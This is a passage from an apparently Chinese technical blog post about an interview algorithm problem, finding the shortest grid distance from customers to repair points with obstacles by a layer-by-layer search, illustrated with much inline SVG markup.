&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1610.5,401.5 L1610.5,569.5 L1624.5,569.5 L1607.5,603.5 L1590.5,569.5 L1604.5,569.5 L1604.5,401.5 L1610.5,401.5 Z&quot; fill=&quot;#718EE5&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1805.5,399.5 L1805.5,567.5 L1819.5,567.5 L1802.5,601.5 L1785.5,567.5 L1799.5,567.5 L1799.5,399.5 L1805.5,399.5 Z&quot; fill=&quot;#718EE5&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1573.91584,584.169363 L1608,601 L1574.085,618.168942 L1574.014,604.169 L1407.01493,604.999963 L1404.01496,605.014888 L1403.98511,599.014962 L1406.98507,599.000037 L1573.985,598.169 L1573.91584,584.169363 Z&quot; fill=&quot;#5FB88F&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1774.91584,584.169363 L1809,601 L1775.085,618.168942 L1775.014,604.169 L1608.01493,604.999963 L1605.01496,605.014888 L1604.98511,599.014962 L1607.98507,599.000037 L1774.985,598.169 L1774.91584,584.169363 Z&quot; fill=&quot;#5FB88F&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1774.91584,786.169363 L1809,803 L1775.085,820.168942 L1775.014,806.169 L1608.01493,806.999963 L1605.01496,807.014888 L1604.98511,801.014962 L1607.98507,801.000037 L1774.985,800.169 L1774.91584,786.169363 Z&quot; fill=&quot;#5FB88F&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1573.91584,786.169363 L1608,803 L1574.085,820.168942 L1574.014,806.169 L1407.01493,806.999963 L1404.01496,807.014888 L1403.98511,801.014962 L1406.98507,801.000037 L1573.985,800.169 L1573.91584,786.169363 Z&quot; fill=&quot;#5FB88F&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1777.91584,385.169363 L1812,402 L1778.085,419.168942 L1778.014,405.169 L1611.01493,405.999963 L1608.01496,406.014888 L1607.98511,400.014962 L1610.98507,400.000037 L1777.985,399.169 L1777.91584,385.169363 Z&quot; fill=&quot;#5FB88F&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;line x1=&quot;600.25&quot; y1=&quot;400.75&quot; x2=&quot;600.75&quot; y2=&quot;804.25&quot; id=&quot;y&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;202.75&quot; y1=&quot;400.5&quot; x2=&quot;204.25&quot; y2=&quot;804.5&quot; id=&quot;y&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;203.5&quot; y1=&quot;398.5&quot; x2=&quot;600.5&quot; y2=&quot;396.5&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1610,603 L1610,771 L1624,771 L1607,805 L1590,771 L1604,771 L1604,603 L1610,603 Z&quot; fill=&quot;#718EE5&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1805,601 L1805,769 L1819,769 L1802,803 L1785,769 L1799,769 L1799,601 L1805,601 Z&quot; fill=&quot;#718EE5&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;line x1=&quot;204.75&quot; y1=&quot;804.75&quot; x2=&quot;602.25&quot; y2=&quot;804.25&quot; id=&quot;x&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;602&quot; cy=&quot;805&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;205&quot; cy=&quot;397&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;1412&quot; cy=&quot;399&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;&lt;/p&gt;
&lt;p&gt;等到田字格的时候，相信聪明的你已经发现了规律&lt;/p&gt;
&lt;p&gt;那就是顾客到维修点的最短距离，等于他们所形成的矩形的横纵两条边边长的总和&lt;/p&gt;
&lt;p&gt;按照上面右侧图片所示的箭头所行走的距离都等于这个最短路径&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;一般情况下，面试场景的编码题已经可以开始写了&lt;/p&gt;
&lt;p&gt;对应的编程思路就是，从维修点出发，在与顾客构成的矩形边界里面，不断逼近，只要能走通那么我们之间就有了最短距离&lt;/p&gt;
&lt;p&gt;再把不同维修点到顾客的最短距离排序，选出最小的距离来进行计算费用&lt;/p&gt;
&lt;p&gt;&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;800px&quot; height=&quot;400px&quot; viewBox=&quot;0 0 2215 1008&quot; version=&quot;1.1&quot;&amp;gt;
&amp;lt;g id=&quot;Page-1&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&amp;gt;
&amp;lt;g id=&quot;step6&quot; transform=&quot;translate(0.5, 1)&quot;&amp;gt;
&amp;lt;g id=&quot;Group&quot; stroke-linecap=&quot;square&quot; transform=&quot;translate(1202, 1)&quot; stroke=&quot;#979797&quot;&amp;gt;
&amp;lt;line x1=&quot;0&quot; y1=&quot;102.5&quot; x2=&quot;1006&quot; y2=&quot;102.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;5.5&quot; y1=&quot;303&quot; x2=&quot;1011.5&quot; y2=&quot;303&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;5.5&quot; y1=&quot;504&quot; x2=&quot;1011.5&quot; y2=&quot;504&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;705&quot; x2=&quot;1006.5&quot; y2=&quot;705&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;5.5&quot; y1=&quot;906&quot; x2=&quot;1011.5&quot; y2=&quot;906&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110&quot; y1=&quot;5.5&quot; x2=&quot;110&quot; y2=&quot;1004.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;310.5&quot; y1=&quot;6&quot; x2=&quot;310.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;503.5&quot; y1=&quot;0&quot; x2=&quot;503.5&quot; y2=&quot;999&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;705.5&quot; y1=&quot;4&quot; x2=&quot;705.5&quot; y2=&quot;1003&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;907.5&quot; y1=&quot;4&quot; x2=&quot;907.5&quot; y2=&quot;1003&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;g id=&quot;Group&quot; stroke-linecap=&quot;square&quot; stroke=&quot;#979797&quot;&amp;gt;
&amp;lt;line x1=&quot;0&quot; y1=&quot;102.5&quot; x2=&quot;1006&quot; y2=&quot;102.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;5.5&quot; y1=&quot;303&quot; x2=&quot;1011.5&quot; y2=&quot;303&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;5.5&quot; y1=&quot;504&quot; x2=&quot;1011.5&quot; y2=&quot;504&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;705&quot; x2=&quot;1006.5&quot; y2=&quot;705&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;5.5&quot; y1=&quot;906&quot; x2=&quot;1011.5&quot; y2=&quot;906&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110&quot; y1=&quot;5.5&quot; x2=&quot;110&quot; y2=&quot;1004.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;310.5&quot; y1=&quot;6&quot; x2=&quot;310.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;503.5&quot; y1=&quot;0&quot; x2=&quot;503.5&quot; y2=&quot;999&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;705.5&quot; y1=&quot;4&quot; x2=&quot;705.5&quot; y2=&quot;1003&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;907.5&quot; y1=&quot;4&quot; x2=&quot;907.5&quot; y2=&quot;1003&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;line x1=&quot;905.498111&quot; y1=&quot;108.802083&quot; x2=&quot;906.50189&quot; y2=&quot;707.129289&quot; id=&quot;y&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;2109.49433&quot; y1=&quot;103.060662&quot; x2=&quot;2109&quot; y2=&quot;909.5&quot; id=&quot;y&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;1309&quot; y1=&quot;506.5&quot; x2=&quot;1309.49055&quot; y2=&quot;908.75858&quot; id=&quot;y&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;109&quot; y1=&quot;105.465686&quot; x2=&quot;906&quot; y2=&quot;102.5&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;1308.99622&quot; y1=&quot;106.724265&quot; x2=&quot;2105.99622&quot; y2=&quot;103.758578&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;1308.99244&quot; y1=&quot;504.982843&quot; x2=&quot;1710&quot; y2=&quot;506.5&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;1311.99244&quot; y1=&quot;909.98284&quot; x2=&quot;2108.99244&quot; y2=&quot;907.01716&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;708.25&quot; y1=&quot;705.25&quot; x2=&quot;902.75&quot; y2=&quot;704.75&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; fill-rule=&quot;nonzero&quot; cx=&quot;707.5&quot; cy=&quot;707&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; fill-rule=&quot;nonzero&quot; cx=&quot;1707.5&quot; cy=&quot;503&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; fill-rule=&quot;nonzero&quot; cx=&quot;110.5&quot; cy=&quot;103&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;110 315.75 94.423691 323.93895 97.398501 306.594475 84.797002 294.31105 102.211845 291.780525 110 276 117.788155 291.780525 135.202998 294.31105 122.601499 306.594475 125.576309 323.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;309 315.75 293.423691 323.93895 296.398501 306.594475 283.797002 294.31105 301.211845 291.780525 309 276 316.788155 291.780525 334.202998 294.31105 321.601499 306.594475 324.576309 323.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;708 515.75 692.423691 523.93895 695.398501 506.594475 682.797002 494.31105 700.211845 491.780525 708 476 715.788155 491.780525 733.202998 494.31105 720.601499 506.594475 723.576309 523.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;1905 519.75 1889.42369 527.93895 1892.3985 510.594475 1879.797 498.31105 1897.21185 495.780525 1905 480 1912.78815 495.780525 1930.203 498.31105 1917.6015 510.594475 1920.57631 527.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;1905 720.75 1889.42369 728.93895 1892.3985 711.594475 1879.797 699.31105 1897.21185 696.780525 1905 681 1912.78815 696.780525 1930.203 699.31105 1917.6015 711.594475 1920.57631 728.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;1706 717.75 1690.42369 725.93895 1693.3985 708.594475 1680.797 696.31105 1698.21185 693.780525 1706 678 1713.78815 693.780525 1731.203 696.31105 1718.6015 708.594475 1721.57631 725.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;1513 720.75 1497.42369 728.93895 1500.3985 711.594475 1487.797 699.31105 1505.21185 696.780525 1513 681 1520.78815 696.780525 1538.203 699.31105 1525.6015 711.594475 1528.57631 728.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;506 315.75 490.423691 323.93895 493.398501 306.594475 480.797002 294.31105 498.211845 291.780525 506 276 513.788155 291.780525 531.202998 294.31105 518.601499 306.594475 521.576309 323.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;705 315.75 689.423691 323.93895 692.398501 306.594475 679.797002 294.31105 697.211845 291.780525 705 276 712.788155 291.780525 730.202998 294.31105 717.601499 306.594475 720.576309 323.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;1509 315.75 1493.42369 323.93895 1496.3985 306.594475 1483.797 294.31105 1501.21185 291.780525 1509 276 1516.78815 291.780525 1534.203 294.31105 1521.6015 306.594475 1524.57631 323.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;1317 315.75 1301.42369 323.93895 1304.3985 306.594475 1291.797 294.31105 1309.21185 291.780525 1317 276 1324.78815 291.780525 1342.203 294.31105 1329.6015 306.594475 1332.57631 323.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;1706 315.75 1690.42369 323.93895 1693.3985 306.594475 1680.797 294.31105 1698.21185 291.780525 1706 276 1713.78815 291.780525 1731.203 294.31105 1718.6015 306.594475 1721.57631 323.93895&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#3FC0FD&quot; fill-rule=&quot;nonzero&quot; points=&quot;1905 315.75 1889.42369 323.93895 1892.3985 306.594475 1879.797 294.31105 1897.21185 291.780525 1905 276 1912.78815 291.780525 1930.203 294.31105 1917.6015 306.594475 1920.57631 323.93895&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; fill-rule=&quot;nonzero&quot; cx=&quot;1311.5&quot; cy=&quot;109&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;&lt;/p&gt;
&lt;p&gt;倘若以上面的推论作为最终编码的方式，虽然不能说完全错误，但是在当下这个面试很卷的时代，还是有可能被 PASS，为什么呢？&lt;/p&gt;
&lt;p&gt;因为我们还没有引入阻塞的概念。我们随便画两种阻塞的情况，并且假定这里都属于在当时条件下的最短路径，那么阁下又该如何应对？&lt;/p&gt;
&lt;p&gt;某种意义上说，我们的确需要从头来审视这道题目。从前面的分析和题目中，我们得出两个结论&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;最短的距离永远是尽量在水平和垂直距离上向目标靠近的走法&lt;/li&gt;
&lt;li&gt;用户每次前进，在没有阻塞的时候，其实可以最多可以往四个方向去走&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;以此为基础，我们就可以稍微来复习一下大学的算法知识了，贪心算法（贪婪算法）&lt;/p&gt;
&lt;p&gt;贪心算法的定义网上随随便便都能找到，这里就不再复述，我们更多地是需要去思考在这个场景的贪心算法如何使用&lt;/p&gt;
&lt;p&gt;&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;800px&quot; height=&quot;400px&quot; viewBox=&quot;0 0 2402 1201&quot; version=&quot;1.1&quot;&amp;gt;
&amp;lt;g id=&quot;128x128&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(1296, 97.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(94, 96.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;600&quot; cy=&quot;798&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;802&quot; cy=&quot;600&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;600&quot; cy=&quot;401&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;402&quot; cy=&quot;599&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;602&quot; cy=&quot;599&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;1800&quot; cy=&quot;799&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1802&quot; cy=&quot;1008&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1602&quot; cy=&quot;799&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1404&quot; cy=&quot;599&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1611&quot; cy=&quot;401&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1800&quot; cy=&quot;204&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;2002&quot; cy=&quot;799&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;2208&quot; cy=&quot;606&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;2002&quot; cy=&quot;401&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;2002&quot; cy=&quot;601&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;1800&quot; cy=&quot;402&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;1602&quot; cy=&quot;600&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;1802&quot; cy=&quot;600&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#FF0B0B&quot; points=&quot;1002.5 1027.25 980.458053 1038.83814 984.66769 1014.29407 966.835381 996.911863 991.479027 993.330931 1002.5 971 1013.52097 993.330931 1038.16462 996.911863 1020.33231 1014.29407 1024.54195 1038.83814&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#FF0B0B&quot; points=&quot;2208.5 1027.25 2186.45805 1038.83814 2190.66769 1014.29407 2172.83538 996.911863 2197.47903 993.330931 2208.5 971 2219.52097 993.330931 2244.16462 996.911863 2226.33231 1014.29407 2230.54195 1038.83814&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;&lt;/p&gt;
&lt;p&gt;贪心算法的第一步，就是找寻从顾客开始，所有可能能行走方向距离为 1 的点有哪些（图中蓝色的点）&lt;/p&gt;
&lt;p&gt;接着，我们可以以这些距离为 1 的点为基础，去找寻所有距离为 2 的点（图中绿色的点）&lt;/p&gt;
&lt;p&gt;以此类推，直到所有的点都没有下一个可以行走的点了&lt;/p&gt;
&lt;p&gt;而每计算一次距离为 N 的点的时候，都可以尝试看看里面是否有对应的维修点，如果有，那么终止检索，这个 N 便是最短距离&lt;/p&gt;
&lt;p&gt;&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;800px&quot; height=&quot;400px&quot; viewBox=&quot;0 0 2402 1201&quot; version=&quot;1.1&quot;&amp;gt;
&amp;lt;g id=&quot;128x128&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(1296, 97.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
